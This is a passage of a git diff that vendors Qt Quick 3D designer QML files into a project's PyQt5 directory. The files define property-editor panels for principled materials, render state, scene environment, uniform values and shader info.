licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Principled Material") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Alpha Mode") + tooltip: qsTr("Sets the mode for how the alpha channel of material color is used.") + } + SecondColumnLayout { + ComboBox { + scope: "PrincipledMaterial" + model: ["Opaque", "Mask", "Blend"] + backendValue: backendValues.alphaMode + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Alpha Cutoff") + tooltip: qsTr("Specifies the cutoff value when using the Mask alphaMode.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.alphaCutoff + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Blend Mode") + tooltip: qsTr("Determines how the colors of the model rendered blend with those behind it.") + } + SecondColumnLayout { + ComboBox { + scope: "PrincipledMaterial" + model: ["SourceOver", "Screen", "Multiply", "Overlay", "ColorBurn", "ColorDodge"] + backendValue: backendValues.blendMode + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Index Of Refraction") + tooltip: qsTr("Controls how fast light travels through the material.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 1 + maximumValue: 3 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.indexOfRefraction + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Lighting") + tooltip: qsTr("Defines which lighting method is used when generating this material.") + } + SecondColumnLayout { + ComboBox { + scope: "PrincipledMaterial" + model: ["NoLighting", "FragmentLighting"] + backendValue: backendValues.lighting + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Metalness") + width: parent.width + SectionLayout { + Label { + text: qsTr("Metalness") + tooltip: qsTr("Defines the metalness of the the material.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.metalness + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Metalness Map") + tooltip: qsTr("Sets a texture to be used to set the metalness amount for the different parts of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.metalnessMap + } + } + + Label { + text: qsTr("Metalness Channel") + tooltip: qsTr("Defines the texture channel used to read the metalness value from metalnessMap.") + } + SecondColumnLayout { + ComboBox { + scope: "Material" + model: ["R", "G", "B", "A"] + backendValue: backendValues.metalnessChannel + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Normal") + width: parent.width + SectionLayout { + Label { + text: qsTr("Normal Map") + tooltip: qsTr("Defines an RGB image used to simulate fine geometry displacement across the surface of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.normalMap + } + } + + Label { + text: qsTr("Normal Strength") + tooltip: qsTr("Controls the amount of simulated displacement for the normalMap.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.normalStrength + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Occlusion") + width: parent.width + SectionLayout { + Label { + text: qsTr("Occlusion Amount") + tooltip: qsTr("Contains the factor used to modify the values from the occlusionMap texture.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.occlusionAmount + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Occlusion Map") + tooltip: qsTr("Defines a texture used to determine how much indirect light the different areas of the material should receive.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.occlusionMap + } + } + + Label { + text: qsTr("Occlusion Channel") + tooltip: qsTr("Defines the texture channel used to read the occlusion value from occlusionMap.") + } + SecondColumnLayout { + ComboBox { + scope: "Material" + model: ["R", "G", "B", "A"] + backendValue: backendValues.occlusionChannel + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Opacity") + width: parent.width + SectionLayout { + Label { + text: qsTr("Opacity") + tooltip: qsTr("Drops the opacity of just this material, separate from the model.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.opacity + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Opacity Map") + tooltip: qsTr("Defines a texture used to control the opacity differently for different parts of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.opacityMap + } + } + + Label { + text: qsTr("Opacity Channel") + tooltip: qsTr("Defines the texture channel used to read the opacity value from opacityMap.") + } + SecondColumnLayout { + ComboBox { + scope: "Material" + model: ["R", "G", "B", "A"] + backendValue: backendValues.opacityChannel + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Roughness") + width: parent.width + SectionLayout { + Label { + text: qsTr("Roughness") + tooltip: qsTr("Controls the size of the specular highlight generated from lights, and the clarity of reflections in general.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Roughness Map") + tooltip: qsTr("Defines a texture to control the specular roughness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.roughnessMap + } + } + + Label { + text: qsTr("Roughness Channel") + tooltip: qsTr("Defines the texture channel used to read the roughness value from roughnessMap.") + } + SecondColumnLayout { + ComboBox { + scope: "Material" + model: ["R", "G", "B", "A"] + backendValue: backendValues.roughnessChannel + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Specular") + width: parent.width + SectionLayout { + Label { + text: qsTr("Specular Amount") + tooltip: qsTr("Controls the strength of specularity (highlights and reflections).") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.specularAmount + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Specular Map") + tooltip: qsTr("Defines a RGB Texture to modulate the amount and the color of specularity across the surface of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.specularMap + } + } + + Label { + text: qsTr("Specular Reflection Map") + tooltip: qsTr("Sets a texture used for specular highlights on the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.specularReflectionMap + } + } + + Label { + text: qsTr("Specular Tint") + tooltip: qsTr("Defines how much of the base color contributes to the specular reflections.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.specularTint + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Base Color") + width: parent.width + + Column { + width: parent.width + + ColorEditor { + caption: qsTr("Base Color") + backendValue: backendValues.baseColor + supportGradient: false + Layout.fillWidth: true + } + SectionLayout { + Label { + text: qsTr("Base Color Map") + tooltip: qsTr("Defines a texture used to set the base color of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.baseColorMap + } + } + } + } + } + + Section { + caption: qsTr("Emissive Color") + width: parent.width + + Column { + width: parent.width + + ColorEditor { + caption: qsTr("Emissive Color") + backendValue: backendValues.emissiveColor + supportGradient: false + Layout.fillWidth: true + } + SectionLayout { + Label { + text: qsTr("Emissive Map") + tooltip: qsTr("Sets a texture to be used to set the emissive factor for different parts of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.emissiveMap + } + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PrincipledMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PrincipledMaterialSpecifics.qml new file mode 100644 index 00000000..8bf490c8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/PrincipledMaterialSpecifics.qml @@ -0,0 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + PrincipledMaterialSection { + width: parent.width + } + + MaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/RenderStateSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/RenderStateSection.qml new file mode 100644 index 00000000..2d8f28ce --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/RenderStateSection.qml @@ -0,0 +1,65 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Render State") + width: parent.width + + SectionLayout { + Label { + text: qsTr("State") + tooltip: qsTr("Render state to set for a pass.") + } + ComboBox { + scope: "RenderState" + model: ["Unknown", "Blend", "CullFace", "DepthTest", "StencilTest", "ScissorTest", "DepthWrite", "Multisample"] + backendValue: backendValues.renderState + Layout.fillWidth: true + } + Label { + text: qsTr("Enabled") + tooltip: qsTr("Render state enable state.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.enabled.valueToString + backendValue: backendValues.enabled + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/RenderStateSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/RenderStateSpecifics.qml new file mode 100644 index 00000000..23ce2c13 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/RenderStateSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + RenderStateSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SceneEnvironmentSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SceneEnvironmentSection.qml new file mode 100644 index 00000000..eae40e4e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SceneEnvironmentSection.qml @@ -0,0 +1,318 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + Section { + caption: qsTr("Scene Environment") + width: parent.width + SectionLayout { + Label { + text: qsTr("Antialiasing Mode") + tooltip: qsTr("Sets the antialiasing mode applied to the scene.") + } + SecondColumnLayout { + ComboBox { + scope: "SceneEnvironment" + model: ["NoAA", "SSAA", "MSAA", "ProgressiveAA"] + backendValue: backendValues.antialiasingMode + Layout.fillWidth: true + } + } + Label { + text: qsTr("Antialiasing Quality") + tooltip: qsTr("Sets the level of antialiasing applied to the scene.") + } + SecondColumnLayout { + ComboBox { + scope: "SceneEnvironment" + model: ["Medium", "High", "VeryHigh"] + backendValue: backendValues.antialiasingQuality + Layout.fillWidth: true + } + } + Label { + text: qsTr("Temporal AA") + tooltip: qsTr("Enables temporal antialiasing using camera jittering and frame blending.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.temporalAAEnabled.valueToString + backendValue: backendValues.temporalAAEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Temporal AA Strength") + tooltip: qsTr("Sets the amount of temporal antialiasing applied.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2.0 + minimumValue: 0.01 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.temporalAAStrength + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Background Mode") + tooltip: qsTr("Controls if and how the background of the scene should be cleared.") + } + SecondColumnLayout { + ComboBox { + scope: "SceneEnvironment" + model: ["Transparent", "Unspecified", "Color", "SkyBox"] + backendValue: backendValues.backgroundMode + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Enable Depth Test") + tooltip: qsTr("Enables depth testing. Disable to optimize render speed for layers with mostly transparent objects.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.depthTestEnabled.valueToString + backendValue: backendValues.depthTestEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Enable Depth Prepass") + tooltip: qsTr("Draw depth buffer as a separate pass. Disable to optimize render speed for layers with low depth complexity.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.depthPrePassEnabled.valueToString + backendValue: backendValues.depthPrePassEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Effect") + tooltip: qsTr("A post-processing effect applied to this scene.") + } + SecondColumnLayout { + EditableListView { + backendValue: backendValues.effects + model: backendValues.effects.expressionAsList + Layout.fillWidth: true + typeFilter: "QtQuick3D.Effect" + + onAdd: function(value) { backendValues.effects.idListAdd(value) } + onRemove: function(idx) { backendValues.effects.idListRemove(idx) } + onReplace: function (idx, value) { backendValues.effects.idListReplace(idx, value) } + } + } + } + } + + Section { + caption: qsTr("Clear Color") + width: parent.width + ColorEditor { + caption: qsTr("Clear Color") + backendValue: backendValues.clearColor + supportGradient: false + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Ambient Occlusion") + width: parent.width + + SectionLayout { + + Label { + text: qsTr("AO Strength") + tooltip: qsTr("Sets the amount of ambient occlusion applied.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 100 + minimumValue: 0 + decimals: 0 + backendValue: backendValues.aoStrength + Layout.fillWidth: true + } + } + + Label { + text: qsTr("AO Distance") + tooltip: qsTr("Sets how far ambient occlusion shadows spread away from objects.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 99999 + minimumValue: 0 + decimals: 0 + backendValue: backendValues.aoDistance + Layout.fillWidth: true + } + } + + Label { + text: qsTr("AO Softness") + tooltip: qsTr("Sets how smooth the edges of the ambient occlusion shading are.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 50 + minimumValue: 0 + decimals: 0 + backendValue: backendValues.aoSoftness + Layout.fillWidth: true + } + } + + Label { + text: qsTr("AO Dither") + tooltip: qsTr("Enables scattering of the ambient occlusion shadow band edges to improve smoothness (at the risk of sometimes producing obvious patterned artifacts).") + } + SecondColumnLayout { + CheckBox { + text: backendValues.aoDither.valueToString + backendValue: backendValues.aoDither + Layout.fillWidth: true + } + } + + Label { + text: qsTr("AO Sample Rate") + tooltip: qsTr("Sets the ambient occlusion quality (more shades of gray) at the expense of performance.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 4 + minimumValue: 2 + decimals: 0 + backendValue: backendValues.aoSampleRate + Layout.fillWidth: true + } + } + + Label { + text: qsTr("AO Bias") + tooltip: qsTr("Sets the cutoff distance preventing objects from exhibiting ambient occlusion at close distances.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 999999 + minimumValue: -999999 + realDragRange: 5000 + decimals: 2 + backendValue: backendValues.aoBias + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Image Based Lighting") + width: parent.width + SectionLayout { + Label { + text: qsTr("Light Probe") + tooltip: qsTr("Defines a texture for overriding or setting an image based lighting texture for use with the skybox of this scene.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.lightProbe + } + } + Label { + text: qsTr("Probe Brightness") + tooltip: qsTr("Sets the amount of light emitted by the light probe.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 999999 + minimumValue: -999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.probeBrightness + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Fast IBL") + tooltip: qsTr("Use a faster approximation to image-based lighting.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.aoDither.valueToString + backendValue: backendValues.fastIBL + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Probe Horizon") + tooltip: qsTr("Upper limit for horizon darkening of the light probe.") + } + SecondColumnLayout { + SpinBox { + maximumValue: -0.001 + minimumValue: -1 + decimals: 3 + stepSize: 0.1 + backendValue: backendValues.probeHorizon + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Probe FOV") + tooltip: qsTr("Image source FOV for the case of using a camera-source as the IBL probe.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 180 + minimumValue: 1.0 + decimals: 1 + backendValue: backendValues.probeFieldOfView + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SceneEnvironmentSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SceneEnvironmentSpecifics.qml new file mode 100644 index 00000000..86ff5d8b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SceneEnvironmentSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + SceneEnvironmentSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SetUniformValueSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SetUniformValueSection.qml new file mode 100644 index 00000000..76062779 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SetUniformValueSection.qml @@ -0,0 +1,67 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Set Uniform Value") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Target") + tooltip: qsTr("The name of the uniform to change value for a pass.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.target + Layout.fillWidth: true + showTranslateCheckBox: false + } + } + Label { + text: qsTr("Value") + tooltip: qsTr("The value of the uniform.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.value + Layout.fillWidth: true + showTranslateCheckBox: false + writeAsExpression: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SetUniformValueSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SetUniformValueSpecifics.qml new file mode 100644 index 00000000..96982ef9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SetUniformValueSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + SetUniformValueSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShaderInfoSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShaderInfoSection.qml new file mode 100644 index 00000000..c678b3a5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShaderInfoSection.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Shader Info") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Version") + tooltip: qsTr("Shader code version to use.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.version + Layout.fillWidth: true + showTranslateCheckBox: false + } + } + Label { + text: qsTr("Type") + tooltip: qsTr("Shader type.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.type + Layout.fillWidth: true + showTranslateCheckBox: false + } + } + Label { + text: qsTr("Key") + tooltip: qsTr("Shader key.") + } + ComboBox { + scope: "ShaderInfo" + model: ["Diffuse", "Specular", "Cutout", "Refraction", "Transparent", "Displace", "Transmissive", "Glossy"] + backendValue: backendValues.shaderKey + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShaderInfoSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShaderInfoSpecifics.qml new file mode 100644 index 00000000..488076c3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShaderInfoSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ShaderInfoSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShaderSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShaderSection.qml new file mode 100644 index 00000000..cc52cd18 --- /dev/null +++ 